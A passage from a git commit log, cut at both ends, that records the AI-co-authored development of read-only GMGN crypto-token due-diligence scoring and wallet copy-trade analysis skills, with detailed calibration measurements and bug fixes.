`token info`, `token security` and `token pool`, and `gmgn-cli` has no
`market search` sub-command in any version measured (not in the installed 1.5.8,
not in the repo source at 1.5.9 — though `skills/gmgn-market/SKILL.md` documents
one, which is a separate bug in that file). So Step 5B scans the per-chain
listings and stops on the first match: `market trenches` first, where launches
live, then `market trending --interval 24h --limit 100`, where actively traded
tokens live.
Bands, each measured rather than picked:
- **`rug_ratio >= 0.50` → cap 59.** All ten labelled rugs move to "high risk",
removing three false "relatively clean" verdicts. Of six fresh launches scored
the same day only MERP is touched — `rug_ratio: 1.00`, composite 89.6.
- **`0.30–0.50` → cap 79.** Scored five tokens in the band: RAX 80.0, BANDOS
83.5, POKEMON 88.0 and AFD 90.5 all read "relatively clean" and are all
withheld; JWA at 76.5 was already below. Four of five changed.
- **`< 0.30` → nothing.** Deliberately inert; a cap there would be a guess.
Caps only, never a bonus, and `rug_ratio: 0` is not evidence of safety — 302 of
400 trending rows read exactly 0, so zero is the population default. Unlike Step
2's caps, which sit at 79 because they fire on an absent field, this one fires on
a measured positive, which is why its lower band goes to 59.
**Absence cannot hurt a token, structurally.** The listings rank churning tokens,
so established assets are not in them: all six bluechips in this file were absent
from every listing across four chains, so the cap has no path to a bluechip.
Acceptance test run live — USDC 100.0, RAY 88.4, CAKE 100.0 all unlisted and
uncapped; ANTSEM 92.8 → `rug_ratio 1.000` via trending → **59 "high risk"**.
`rug_ratio` is a cross-check, not a scored check, and is deliberately **not** in
the Step 6 inventory: coverage measures how much of the token's own contract,
holder and price data could be read, while this is GMGN's label about the token
and its availability tracks whether the token happens to be ranked. Putting it in
the denominator would dock every established token's coverage for being
established — the inversion Step 4 already rejects for the `stat` block. So the
inventory totals stay 23 and 25 and every verified coverage figure still holds.
Also recorded: the two listings have **different response shapes** — `trenches`
is unwrapped with the bucket names at top level, `trending` keeps the
`{"code":…,"data":…}` envelope — and assuming either for both reads as empty
data, i.e. a false "unavailable" on exactly the tokens this step exists for. The
Notes now carry a per-command shape table instead of the old blanket claim.
**The fresh-launch gap is dropped as a target, with reasons.** After Step 5B the
highest fresh launch is GROKCHAIN at 89.4 with `rug_ratio: 0.00` and no failed
check beyond thin liquidity, a small holder count and an 8% drawdown, so the gap
stays about −1. That is not a mis-score: the original calibration treated "young"
as a proxy for "risky". Youth is conveyed by the `len(kline.list)` deduction and
the confidence line, not by a depressed composite. The metric that matters is
whether a labelled rug can read as clean, and that is now closed by construction.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
chenjunfengandClaude Opus 5
|
f5114f703c |
fix(contract-dd): the calibration gap does not survive re-measurement — record it
Verification of the five open items. Four came back clean; the first one did not, and it is the most important thing in this file. **The +15.3 bluechip-vs-fresh-launch gap is gone.** Re-run against six current fresh launches (three pump.fun near_completion on sol, three flap on bsc, all over $20K 24h volume and $10K liquidity): lowest bluechip 88.4, highest fresh launch 89.6, **gap −1.2**, and three of six read "relatively clean". The original +15.3 came from four launches captured at one moment. **Worse: the composite does not separate tokens GMGN itself labels as rugs.** Ten tokens with `rug_ratio >= 0.5` and over $20K of 24h volume, from `market trending`: three read "relatively clean" — ANTSEM at `rug_ratio: 1.00` scored 92.8, GASSPAS at 0.54 scored 96.5, Pistacio at 0.96 scored 86.8 — seven read "mixed", and none reached "high risk". Median 73.8, nine of ten at 100% coverage / "evidence sufficient". This is not a regression from the review commits; if anything the new `vol_ratio` row helped, firing on 2 of the 10. Two causes, both now recorded: `rug_ratio` lives on `market trending` / `market trenches`, outside the three endpoints this skill calls, so the most predictive field GMGN publishes is outside the design; and the rows that fire hardest on labelled rugs are `drawdown` (8/10) and `worst_candle` (5/10), which detect a token that has already dumped rather than one about to. The grade line and the appendix now say so, and Step 6 states that "relatively clean" means "no measured red flag among the fields this skill reads" rather than "not a rug". Fixing it properly is a threshold-and-scope decision — either bring `rug_ratio` in as a fourth endpoint or tighten the `stat` tiers materially, then re-calibrate against a labelled sample far larger than ten. **Per-row firing rates, over the 25 tokens scored end to end this session.** Eleven of twenty-seven rows never fired once, including every permission field in Step 2 across all seven chains — so the whole chain-mode branch contributed nothing, and the 0.45 contract weight is carried by liquidity, `creator_created_count`, `pool_shrink`, `image_dup_count` and `len(kline.list)`. Also never fired: the tax row, `creator_hold_rate`, `fresh_wallet_rate`, `private_vault_hold_rate`, and `price / price_24h`. The full table replaces the placeholder that said firing rates should be measured someday. **The other four items came back clean.** - arc, stable and robinhood score end to end, inventory closing at 25 on each (24/1/0, 23/2/0, 23/2/0). All three populate `stat`. - Executing the prose by hand, step by step, on FEFER/stable lands on exactly 92.3 — the same number the script produced. The rules are executable as written. - No live `is_honeypot === true` token surfaced in 300 trending rows across bsc, base and eth, so the Step 7 change could not be re-tested against one directly. It is monotone in the safe direction: requiring `privileges` present-and-empty can only make the exemption harder to open, never easier, so it cannot turn a honeypot clean. `privileges` was `null` on every token measured across all seven chains. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
de83ae7012 |
chore(contract-dd): move the CLAUDE.md, marketplace and docs edits to their own PR
This PR is back to what it was scoped as: one new file, skills/gmgn-contract-dd/SKILL.md. The routing-table registration and the token-security field-shape corrections in docs/workflow-token-due-diligence.md are on feat/contract-dd-bookkeeping instead, to be merged after this one. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
35966e4095 |
feat(contract-dd): the volume row ships, with the noise tier measured out of it
The lift test the previous commit left open is done, and it split the row in two. `market trenches` cannot label this measurement at all: all 32 sampled trenches tokens returned 1 to 17 candles against the 40 `vol_ratio` needs. Re-sourced from `market trending --interval 24h --limit 100` on sol, bsc and base — 299 tokens over $2K of 24h volume, which are old enough to have candles — then three sequential batches, 47 scorable `rug_ratio > 0` against 47 scorable `rug_ratio = 0`: < 0.20 -> -18 risky 10/47 (21.3%) clean 2/47 (4.3%) lift 5.00x p=0.013 0.20-0.40 -> -8 risky 9/47 (19.1%) clean 9/47 (19.1%) lift 1.00x p=1.000 both as one rule risky 19/47 (40.4%) clean 11/47 (23.4%) lift 1.73x p=0.077 The two tiers are not the same rule. A collapse below 20% separates the populations at 5x and survives significance; the 20-40% band is 9 against 9, z of exactly 0.00 — and it is the band that was doing all the damage to bluechips. Measured `vol_ratio`: USDC 0.28, RAY 0.384, CAKE 0.587, WETH 0.380, eth USDT 1.593. USDC and WETH sit squarely in the deleted band, so shipping both tiers would have cost each 8 section points for a quiet day; the deep tier alone fires on 0 of 5. Read as one rule the row looked anti-correlated, and the three batches read 0.80x, 3.00x, 2.00x — the instability was the tier mix, not the market. So `vol_ratio < 0.20 -> -18` ships as a scored check and the shallow tier is deleted, with the measurement recorded so it is not re-litigated from one batch. Consequences, all re-verified live: the price section is 4 checks, so the Step 6 inventory is 23 on sol and 25 on the EVM chains. It closes exactly on all six bluechips — 21/2/0, 17/6/0, 22/1/0, 14/2/9, 13/3/9, 13/3/9. **All six composites are still unchanged** (100.0, 93.2, 88.4, 100.0, 97.3, 97.3) and so is every confidence label; coverage becomes 91.3 / 73.9 / 95.7 / 87.5 / 81.2 / 81.2. WETH and eth USDT sit one check above the 80% boundary, now stated as such. Also corrected a claim from the previous commit: `sniper_count` is not "no such field" — it exists on `market trending` / `market trenches` rows, just not on `token security`. And the Step 5 guard list now names `vol_ratio`'s own guards. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
9d0c7c2bdc |
fix(contract-dd): resolve the sub-command contradiction and make coverage auditable
Third review pass, over the sections the first two did not grill: Step 2, Step 8, Notes, and the two files outside the skill. **A contradiction introduced by the previous commit.** Step 0 gained a `portfolio stats` probe to tell a wallet apart from an address GMGN has no record of, while Sub-commands still read "runs exactly these three ... Nothing else" and Notes still said "three GET endpoints". The probe is now documented where it belongs: a conditional fourth call that runs only when `info.symbol` is empty, feeds no threshold, and sits on the CLI's API-key-only auth path — verified against `src/client/OpenApiClient.ts`, where `getWalletStats` uses `authExistRequest`, so the "never needs GMGN_PRIVATE_KEY" prerequisite still holds. The `--raw` envelope note now covers all four shapes. **Coverage was stated in a form that cannot be checked.** Step 8 asked for `executed N / skipped M` against an inventory total, but never for the held-out count — so `N + M + K = T`, the identity the fixed inventory exists to make verifiable, was unprintable. The report line is now `executed N / skipped M / held-out K of T` with all four numbers mandatory. **The disclosure line named the wrong set.** "chain-analysis metrics (9 checks)" covered eight holder metrics plus `creator_created_count`, which is a contract check. It now says so explicitly in both Step 4 and Step 8. **CLAUDE.md was left self-contradictory by the previous commit**, which routed a bare wallet address to `gmgn-wallet-analysis` — a skill CLAUDE.md names nowhere and has no table row for, while a separate row sent "wallet address provided" to `gmgn-portfolio`. Added the missing row and split that route the same way the token route was split: dossier verdict to `gmgn-wallet-analysis`, raw holdings and P&L to `gmgn-portfolio`. **The DD workflow doc read a struct-default zero as a pass.** Its thresholds call `top_10_holder_rate < 0.20` safe, but the field arrives as the string `"0"` on Solana and on some EVM tokens — 0% top-ten concentration does not exist. Noted the `stat` fallback, and the `"0"` versus `""` distinction for the taxes. No scoring rule changed in this commit, so no composite or coverage figure moves. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
a8e7ad3a7e |
fix(contract-dd): six more scoring defects found on a second review pass
All six were found by re-reading the scoring tables against live responses
rather than against the prose, and four of them can change a score.
1. The LP row demanded "neither locked nor burned" — a two-part claim — but
accepted `burn_status: ""` as the burn half. Measured: `burn_status` is `""`
on every EVM token sampled (10 of 10 bsc, one each arc/stable/robinhood), so
any EVM token with `is_locked: false` was taking −12 on a burn status GMGN
never reported. The row now needs both halves present, which makes it
decidable on Solana and usually unavailable on EVM. RAY is the case that
shows the row still works: `is_locked: false` with `burn_status: "none"` —
an explicit negative — and it takes the −12.
2. `buy_tax` / `sell_tax` did not distinguish `"0"` from `""`. On a populated
block `"0"` is a real 0% tax; on an unpopulated one `""` is exactly what Step
1A keys on and is unavailable. Coercing `""` to 0.0 scores a passing check on
a field that was never reported.
3. The liquidity row "0 and `volume_24h` also 0 → −15" was dead text: under the
worst-row rule a liquidity of 0 already matches `< $10K` at the same −15, so
it could never change an outcome — while implying a `0` is always a
measurement. Removed, and the ambiguity it papered over is now resolved
explicitly: 0 liquidity with 0 volume is a dead pool and scores; 0 liquidity
with non-zero volume is unavailable, because a pool cannot turn over volume
it does not have.
4. Step 6's combine order named only Step 2's caps, leaving Step 7's cap of 59
with no place to be applied — a downgraded honeypot kept its raw composite.
All caps are now collected together, lowest wins.
5. `info.image_dup_count` had no stated condition ("logo duplicates another
token"); it is `> 0`.
6. My own claim that arc/stable/robinhood matched bsc "byte for byte" was an
overstatement — `top_10_holder_rate` differs. Corrected, as was the
"Three field traps" heading over five bullets.
Re-verified live: **all six bluechip composites are still unchanged** (100.0,
93.2, 88.4, 100.0, 97.3, 97.3) and every confidence label holds. The Step 6
inventory closes exactly on all six — executed + skipped + held-out came to 22
on each sol token and 24 on each EVM token, nothing left over or double-counted.
Coverage corrected where the LP fix moved a check from executed to unavailable:
CAKE 93.3% → 86.7%, WETH and eth USDT → 80.0% each, which is exactly on the
"evidence sufficient" boundary and is now flagged as such.
Also recorded the measured `vol_ratio` values (0.28 / 0.42 / 0.616 / 0.381 /
1.427 on the five scorable bluechips — a deduction on 2 of 5 at the drafted
tiers) and the fact that its lift test against risky tokens was cut short by a
rate-limit ban, so the row stays reported-not-scored.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
chenjunfengandClaude Opus 5
|
849d709579 |
docs: route the DD verdict to gmgn-contract-dd and fix stale security field shapes
CLAUDE.md's Quick Decision Guide sent "is this token safe" and any bare token address to `gmgn-token`, which collides head-on with the new skill's trigger set — and with `gmgn-holder-analysis`, whose description also claims "whether a token is safe to buy". Split the row by what the user actually wants: one number goes to `gmgn-contract-dd`, the fields go to `gmgn-token`, and a bare address gets the verdict first with the fields offered after. Added the missing skill table row, and corrected the `skills/` count and the marketplace plugin description, both of which still said 9. docs/workflow-token-due-diligence.md carried the same field-shape bug PR #211 fixes in the skills: it documented `is_honeypot` as `"yes"` / `"no"` when the field is `true` / `false` / `null`, and named `open_source`, `owner_renounced`, `rug_ratio`, `creator_token_status` and `sniper_count` as `token security` fields. Verified against live responses on 2026-08-28: `owner_renounced` and `sniper_count` do not exist at all, `rug_ratio` is a `market trenches` row field, and `creator_token_status` lives at `token info` → `dev`. Also noted that the integer mirrors (`honeypot`, `open_source`) are not a safe substitute, since USDC returns `honeypot: 0` with `is_honeypot: null` — `0` conflates "no" with "unknown". Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
6cff8ba323 |
fix(contract-dd): close four field-reading holes found in review
Step 1B — the `stat` population test keyed on `stat.holder_count`, which is populated independently of the chain-analysis fields. Measured: WETH on base returns `stat.holder_count: 4818570` mirroring `info.holder_count` while all ten scored `stat.*` fields are zero, so the block was declared populated and nine checks were scored as nine *passing* checks. Added a second test (all ten zero → unpopulated). Deliberately all-ten rather than per-field: USDC reads zero on eight of ten but carries a real `top70_sniper_hold_rate`, and 0% bundlers on USDC is the truth. `stat.creator_created_count` is now gated with the eight, so the held-out group is nine, not eight. Step 7 — the exemption required "no privileged functions", but `security.privileges` came back `null` on every response measured across all six chains sampled. Reading `null` as a pass would let silence lift a honeypot verdict from 0 to 59. The gate now opens only on a present-and-empty value; same rule for the tax condition. Step 6 — coverage had no check inventory, so the denominator was whatever each executor counted and the published percentages were not reproducible. Added the fixed inventory: 22 checks on sol, 24 on the EVM chains, with the held-out and not-applicable groups named. Step 5 — the three kline measurements had no operational definition. Named the window `W` and its arrays, stated that every kline field is a string and `time` is milliseconds, and added divide-by-zero guards for `max(H)`, `O[i]` and `price_24h`. The volume row is defined but **reported, not scored**: defining it makes it executable for the first time and it immediately costs USDC 8 section points while its lift against risky tokens is unmeasured — the same shape as the sell/buy row this skill already removed. Records the test to run before it scores. Also: Step 0 probes `portfolio stats` before reporting "no record", because a bare address may be a wallet and the empty `info` block is identical either way; the untrusted-input clause now says the tell is gmgn-cli's own `[filtered]` substitution; the ">1 means already a percent" heuristic is replaced with an anomaly report, since no measured rate ever exceeded 1; description trimmed from 1006 to 968 chars; section order matches the CLAUDE.md rule. Re-verified by reimplementing the procedure as a script: all six bluechip composites and all six confidence labels are unchanged. Only coverage moves. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
9cb023889b |
fix(contract-dd): correct Step 5 field paths, drop an anti-correlated scoring row, make the tier rule explicit
Full critical review of this skill turned up five defects. Fixes, in priority order, with what each was measured against. Step 5 named `price / price_24h` and `sell_volume_24h / buy_volume_24h` as if they were top-level `token info` keys. They are not: `info.price` is an object and all of those names live inside it as strings, so both rows were arithmetic on the wrong object and could never execute. Same omission in Step 3's "no 24h volume" clause and Step 7's sells/sell-volume gate; all now carry the `info.price.` prefix. Correcting the paths made `sell_volume_24h / buy_volume_24h > 1.3 -> -10` execute for the first time, and it turned out to be anti-correlated with risk, so the row is removed rather than fixed. Because net_buy_24h = buy - sell and volume_24h = buy + sell, the rule is exactly computable from `market trenches` rows, which also carry GMGN's own rug_ratio label. Over 415 live tokens on sol, bsc and base above $2K 24h volume it fired on 0.0% of the 114 with rug_ratio > 0 and 10.0% of the 301 with rug_ratio = 0 — lift 0.00x. Reversing the direction does not rescue it (best variant lift 1.16x) and neither does the sells/buys count ratio (0.52x); median net_buy/volume is +0.0166 on risky against +0.0196 on clean. Its only measured effect was costing USDC on sol 2.0 composite points off a stablecoin's redemption flow while penalising 0 of 12 fresh launches. The price section keeps full separation without it: the three kline measurements fire on 6 of 6 scorable tokens in a rug-weighted sample and 0 of 6 bluechips. The ratio survives in Step 7 as a two-sidedness band, which is a different question and is now labelled as one. Tier exclusivity was never stated, leaving six multi-row groups ambiguous — a creator with 1971 launches matches all five creator_created_count rows, worst-row -18 against summed -51. Scoring 16 live tokens both ways puts the difference at a median of 22.2 composite points and up to 33.3, more than the 20-point grade band: one token reads 71.3 "mixed" or 38.0 "very high risk" depending only on the reading. Worst-row is now stated in Step 3 and referenced from Steps 4 and 5. Step 2's honeypot hard stop said "stop scoring" and Step 6 said "0 regardless of everything else", so Step 7's tokenized-equity exemption was unreachable — which matters because robinhood, arc and stable are three of the seven supported chains. Both now point at Step 7 first. Checked against three live is_honeypot === true tokens on base: none comes near Step 7's gate (sells_24h 243/0/0 against 500, sell_volume_24h $63.6K/$0/$0 against $100K), so all three still resolve to 0 and the reordering opens no hole. Section scores had no lower bound while the eight stat checks alone total -117, so both section and composite are now clamped to 0-100. Measured on the 14 worst rug_ratio tokens, no section goes negative under the worst-row rule, so this changes no published number. Finally, three places claimed missing data never moves the score, which the len(kline.list) deduction has always contradicted. Step 6 now names all three exceptions explicitly and the frontmatter matches. No published score changes: all six bluechips come back identical after the path correction and the row removal. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
414ed35548 |
fix(contract-dd): pin the scoring window, drop the nonstandard frontmatter key, add the hand-off table
Three review items, none of which change a single deduction or weight: - Step 5 said "score the last 96 15m candles, roughly 24h" while the skill passes no --from/--to. Measured: the default window is exactly 100 candles on sol, bsc and eth, so 96 is satisfiable today with only four candles of headroom. Read len(kline.list) and score min(96, len) instead of assuming, and state the real window when it is shorter — the measurements are ratios and survive a short window, the "24h" label does not. - metadata.catalogSlug was the only occurrence of that key in the repo: nothing reads it and none of the ten existing skills carry one. Removed for consistency; a one-line revert if the skill catalog consumes it downstream. - The holder (0.35) and price (0.20) sections are coarse by design, which makes them easy to mistake for gmgn-holder-analysis and gmgn-kline-pattern. Added a hand-off table and said outright that those skills use different thresholds and weights, so their numbers will not match this composite and neither corrects the other. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
chenjunfengandClaude Opus 5
|
4d43962289 |
feat(contract-dd): add contract due-diligence scoring skill
Turns three read-only GMGN calls (token info, token security, market kline) into one auditable 0-100 composite: contract safety 0.45, holder structure 0.35, price action 0.20, renormalised over only the sections that returned data. Every deduction names the field it came from. The skill exists because scoring GMGN's security fields naively condemns clean tokens. An unpopulated response object still carries false on its booleans, "" on its strings and 0 on its numbers, and reading those as measurements is the failure mode the whole design is built around. Missing data is therefore neither a deduction nor a bonus: it lowers reported coverage, and coverage bounds how strong a claim the score may make rather than moving the score itself. Validated by running the procedure end to end over 14 addresses on 2026-08-27 — five bluechips, four fresh launches, three well-formed addresses with no GMGN record, one malformed address. What that measured, and what the rules had to say as a result: - token existence is decided by info.symbol, not by security.address. GMGN echoes the requested address back into security.address for addresses it holds no record for; two fabricated addresses came back echoed with renounced_mint=false, and one also returned a full 100-candle kline series, while their info blocks were empty. Step 0 refuses to score those instead of reporting a risk grade for a token that is not there. - every rate and tax field is a decimal fraction, including the four named *_percentage. top_10_holder_rate "0.1783" is 17.83% and buy_tax "0.01" is a 1% tax, so a threshold written in percent needs a x100 before the comparison or the deduction silently never fires. - on sol the four is_* fields are null by design and the numeric ones read "0", so an emptiness test declares every Solana block empty. Step 1A is scoped to the EVM fields; renounced_mint and renounced_freeze_account are read unconditionally once the token is known to exist, or Solana loses its only two contract signals. - info.stat is populated per token, not per chain: full block on a four-hour-old bsc meme, zeros on CAKE. - the two dev X fields are aggregates over the linked X account across every token it has been attached to. USDC's rename history reads circlepay -> circle -> arc and CAKE reports 44 deleted launch posts, so deducting on them penalises projects for having a past. Both are reported and neither scores. - under --raw these three commands print the unwrapped payload, so there is no code field to read. Read-only by construction: three GET endpoints, no signing, no private key, and the skill explicitly forbids calling swap, order or cooking commands. One new file, nothing else touched. CLAUDE.md and marketplace.json bookkeeping is left to maintainers; see the PR body. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
02ebdf427c |
feat(wallet-analysis): add four-gate wallet copy-trade dossier skill (#207)
* feat(wallet-analysis): add four-gate wallet copy-trade dossier skill Answers "should I copy this wallet, and what happens to me if I do?" with four independent pass/fail gates instead of a blended score: authenticity, currency (is the edge still working this week), reachability (can you get filled), survivability (does it cut losses). Each gate prints the single number that decided it, and the verdict is a pure function of the gates. analyze.py is read-only — portfolio stats/profits/activity/holdings/ created-tokens only, no signing. gen_fixtures.py builds eight synthetic wallets, each engineered to fail exactly one gate, so analyze.py can be verified offline with no API key. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): stop letting third-party labels decide the verdict A live run on 0xa7d4ffc4eca3c71af150ce302560a9d04a1d2b9f returned `🔴 别碰` on a wallet with $459K of genuine realized profit. Two independent false positives caused it, and both were refutable from data already present in the same response. - `wash_trader` now has to be corroborated before it can veto G1. `conviction_share` measures the fraction of realized gains coming from positions that netted more than their own cost basis or cleared $1k per exit — self-dealing nets ~0 per round trip and cannot reach either bar. At >=50% the tag is demoted to a visible caution carrying the number that refuted it; below 50% G1 fails and prints the share; unmeasurable (no holdings) is now G1 ⚪, never a manufactured ❌. - `token.is_honeypot` is refuted by `history_total_sells > 0` on the same row. Seven "honeypots" failed G4 on one wallet; it had sold one of them 101 times. They were transfer-restricted tokenised-stock contracts. - Position scale is read from holdings, not from clip size. A wallet laddering a $54K position out of $3.4K clips was labelled "ordinary trading wallet" on `avg_buy_usd` alone. Report changes, from review feedback: - Identity moves above the gates and prints the full `x.com/<handle>`; a missing X account is stated rather than silently omitted. - New profit-engine attribution (撒网命中 / 周转磨利 / 选币重仓 / 分散积累) from trade cadence x gain concentration. A return figure alone does not say whether the edge is speed or selection, and the two are copied in completely different ways. - Verdict layer rewritten for plain language: a verb the reader can act on, everyday words for the cause, one imperative sentence for the action. `token_num < 5` is ⚪, not 🔴 — unmeasured is not measured-bad. G3 ❌ no longer short-circuits G4 ❌; both problems get stated. `put()` now budgets for the wider of prefix and `hang`, closing the one way a caller could exceed the column limit while still going through it. Fixtures 9 -> 12: `tagged-not-washing`, `thin-sample`, `unverifiable-wash`, `unreachable-and-no-cut`. The wash_trader tag now has three fixtures covering corroborated / uncheckable / refuted; a change that makes any two agree is a regression. All 11 verdict branches are covered. 12 fixtures x 2 languages, zero lines over the width limit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(portfolio): correct holdings/activity field names against live API The documented names for `portfolio holdings` and `portfolio activity` did not match gmgn-cli 1.5.8, and are not accepted as aliases. This is where gmgn-wallet-analysis got its original field names from, and why its first cut read zeros off a live wallet: a wrong name returns `undefined`, which becomes 0, which renders as "this wallet made nothing" — an error that looks like an answer. Corrected against real responses: holdings array -> `list` cost -> `accu_cost` profit_change -> `total_profit_pnl` buy_tx_count / sell_tx_count -> `history_total_buys` / `history_total_sells` token.address -> `token.token_address` (that name is activity's) transaction_hash -> `tx_hash` type -> `event_type` Also: `avg_cost` is not returned (derive from `accu_cost / balance`), and `--sell-out` does not exist — gmgn-cli rejects it as an unknown option. Adds a response-envelope table, since the five routes do not share a shape: stats is bare, profits wraps a single row in `{"list":[…]}`, activity uses `activities`, holdings uses `list`, created-tokens puts rows under `tokens`. Documents fields that were missing entirely and are load-bearing for wallet analysis: `token.is_honeypot` (noting that `history_total_sells > 0` on the same row contradicts it — a honeypot cannot be sold), `token.launchpad_platform`, `token.liquidity`, `buy_cost_usd` (a sell row's cost basis), the gas/fee fields, and the realized/unrealized pnl split. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(wallet-analysis): merge the style-label layer into the dossier The dossier had numbers, gates and a verdict but no name a reader could repeat out loud. The 4x5 title grid (frequency x P&L) and the speed subtitle come in from gmgn-wallet-style, with four corrections made on the way, each because the original mis-labelled a wallet we had already cross-checked against gmgn.ai's own leaderboard. - No ⭐「官方认证」badge. It fired on any non-empty `common.tags`, so it rendered `wash_trader` under a commendation glyph — the exact thing this skill's tag rules forbid. Tags keep going through TAGS/severity and the corroboration check. - The speed subtitle reads the median copy window, not `avg_holding_period`. The mean counts bags never sold, so it called a 2-minute scalper 「波段流 1-7 天」; someone acting on that holds for days a position the wallet exits in minutes. - P5 needs ROI > 50% plus ONE of {win rate >= 50%, heavy-loss share < 15%}, not all three. Requiring all three demoted a wallet sitting at #3 on GMGN's BSC 7D leaderboard to P4: memecoin P&L is low-hit-rate with a fat right tail, so a 50% win-rate gate penalises exactly the wallets that work. The `token_num >= 5` floor on P5 is kept. - The P5 gloss names the corroborator that carried it, so 「强盈」 is never a bare claim. 「高频且高胜率低回撤」 above a 33.3% win rate was a heading contradicting its own contents. Also: no label at all when `token_num < 5` — the verdict already says ⚪ 看不出来, and 「稳步选手 · 正收益，无明显短板」 beside it contradicts it. Badges merged: 彩票型, 分批止盈, 集中押注, 固定时段. The last two are gated on sample size, which the original was not: top-3 of 3 tokens is 100% by arithmetic, and any sample spanning under 12 hours "clusters" inside a 6-hour window by arithmetic. The original fired both on a 14.2-hour sample and emitted no warning. Not merged: 囤积中 / 派发中 duplicate the existing 24h posture reading, and 抢跑党 needs a per-chain gas constant that would go stale silently — gas_share and gas_drag already carry that signal, normalised against the wallet's own trade size. 12 fixtures x 2 languages, 8 distinct grid cells exercised, zero lines over the width limit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(wallet-analysis): sync trigger words with the merged style layer The description still said the skill gives "a decision rather than a label or a score" — as of the style merge it gives both. That routed 「这个钱包什么风格」 to gmgn-wallet-style, which returns a strict subset: the same title and subtitle without the four gates, the profit engine, or the size cap. Adds the style trigger phrases, and states that a bare wallet address defaults here rather than being contested between the two. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * refactor(wallet-analysis): English-only source, translations in lang/zh.json analyze.py carried every user-facing string twice, as `_(zh, en)`, which made Chinese prose part of the program: 250 call sites, two tables holding both languages inline, and seven `if ZH` branches picking a list separator. Adding a third language meant editing every line of the file, and CLAUDE.md's "SKILL.md is English only" rule had quietly stopped holding. English is now the source of truth. `T("english template", *args)` looks the string up in `lang/<code>.json` and falls back to English when the key is absent, so a partial or missing translation degrades to English rather than to a crash or a blank line. Templates use positional placeholders ({0}, {1}) so a translator can move a value that reads in a different position in their language. - 247 call sites rewritten mechanically via the AST, so the English text and its interpolations are preserved exactly. - TAGS (20 rows), TITLES (20 cells), GATE_NAMES and GATE_GLOSS reduced to English-only; their Chinese moved to the table. - The 7 `"、".join(...) if ZH else ", ".join(...)` branches collapse into joinsym(), keyed on an explicit `__list_separator__` rather than on ", " — too generic to be safe as a table key. - The `ZH` global is gone; `load_lang(code)` replaces it. - Four call sites that concatenated conditionals into a sentence were restructured first, so every string is one whole translatable template rather than a sum of fragments. Two real bugs fell out of the conversion: - `archetype()` returned a rendered fallback string that two callers then sniffed with `startswith("普通") or startswith("ordinary")`. A language-dependent test inside language-agnostic code, correct only because both translations had been checked by hand. It now returns [] and each caller supplies its own fallback. - An English template carried full-width CJK brackets around a tag name; now plain quotes. This is the one intentional output change. Verification: all 12 fixtures x 2 languages were snapshotted before the refactor and diffed after every step. Output is byte-identical apart from the bracket fix and one fixture's romanised twitter_name. Deleting lang/zh.json renders clean English, confirming the fallback path. SKILL.md and gen_fixtures.py are English throughout. Two Chinese fragments are deliberately kept in SKILL.md and annotated as such: the trigger phrases in `description:` and the 「CA」/「合约」/「代币」 list in Step 1 are things a user literally types, and translating them would stop the skill triggering on Chinese input. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(wallet-analysis): stop committing generated fixtures gen_fixtures.py rebuilds all 12 fixtures deterministically and is the single source of truth for what each one is meant to test. Committing the generated JSON next to it lets the two drift apart silently: a reviewer reading the generator cannot see that the checked-in copy no longer matches, and every threshold change produced a diff in 12 files that carried no information. Verified regenerable: deleting fixtures/, re-running gen_fixtures.py, and diffing all 12 fixtures x 2 languages against the pre-deletion snapshot gives 24/24 byte-identical output. lang/zh.json stays committed — it is not generated, and without it analyze.py has no Chinese output at all. The .gitignore says so, so the distinction is not left to be re-derived. The verification snippets in SKILL.md now run gen_fixtures.py first. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(wallet-analysis): measure emoji width correctly and align the report dwidth() was wrong about emoji in both directions, and every column in the report inherited the error. ⚙️ U+2699 + U+FE0F measured 3, renders 2 🕸️ U+1F578 + U+FE0F measured 4, renders 2 ⚡ ⚪ ✅ U+26A1/26AA/2705 measured 1, renders 2 The variation selector was counted as two columns and the U+2600-27BF emoji as one. The first padded every column they appeared in short; the second is the dangerous direction — lines carrying those glyphs could exceed COL in a real terminal while the width check called them safe. The rule is that a base character followed by U+FE0F renders two columns wide, which is what the selector means, so this needs no enumeration of `⚙ ⚔ ✂ ✈ ...`. Box drawing (U+2500-257F) stays one column: the report's own rules and bars are built from it. wrap() had the same disagreement in a worse place: it summed cwidth per codepoint, so `⚔️` measured 1 there and 2 in dwidth(). Two such glyphs on a line put it 2 columns over — the English `grinder` speed read reached 78. Both now apply the same pairing rule. Layout, all of it alignment rather than taste: - The label column is measured, not hardcoded to 10. "key numbers" is 11 columns, so that row went unpadded and its continuation lines sat a column off from every other row in the block. - WHO IT IS is one label grid instead of three indents (style at 10, its gloss at 13, identity and every badge at 2). It read as a wall, and each badge took a line of its own; they now share one wrapped row. - Risk-flag and reassurance continuations hang under their text. At the bullet's own indent a wrapped flag read as a second flag. - A wrap never splits an emoji from the phrase it labels — lines used to end in a bare "✂️" with its name orphaned below. Tracked as a flag rather than read back from the buffer, because an emoji sequence ends in a zero-width selector whose base may not be wide on its own. - The "→" row's continuations hang under the arrow's text. 12 fixtures x 2 languages, all 24 outputs within 76 columns measured with the corrected width. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(wallet-analysis): ship three files, drop the dev-only ones The shipped skill is SKILL.md + analyze.py + lang/zh.json. gen_fixtures.py and .gitignore are 